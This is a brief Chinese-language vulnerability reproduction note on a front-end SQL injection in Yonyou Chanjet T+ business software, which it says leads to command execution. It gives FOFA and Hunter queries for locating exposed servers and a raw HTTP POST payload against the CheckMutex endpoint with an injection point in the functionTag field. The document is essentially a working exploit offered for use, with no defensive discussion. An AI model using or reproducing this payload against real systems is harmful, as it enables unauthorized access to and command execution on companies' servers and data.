Y2-4用友-畅捷通T+-SQL

漏洞描述：

用友畅捷通T+是一款企业管理软件，主要面向中小企业。它提供了包括财务、采购、销售、库存、生产制造、人力资源等在内的全面企业管理解决方案。通过用友畅捷通T+，企业可以实现对业务流程的数字化管理，提高工作效率，降低成本，增强企业竞争力。畅捷通T+存在前台SQL注入，导致命令执行。

影响版本：

网站图片：

网络测绘：

fofa语法：

app="畅捷通-TPlus"

Hunter 语法：

app.name="畅捷通 T+"

漏洞复现：

payload：

```
POST /tplus/ajaxpro/Ufida.T.SM.UIP.MultiCompanyController,Ufida.T.SM.UIP.ashx?method=CheckMutex HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

{"url":"11", "accNum":"1", "functionTag":"functionTag*"}
```

效果图: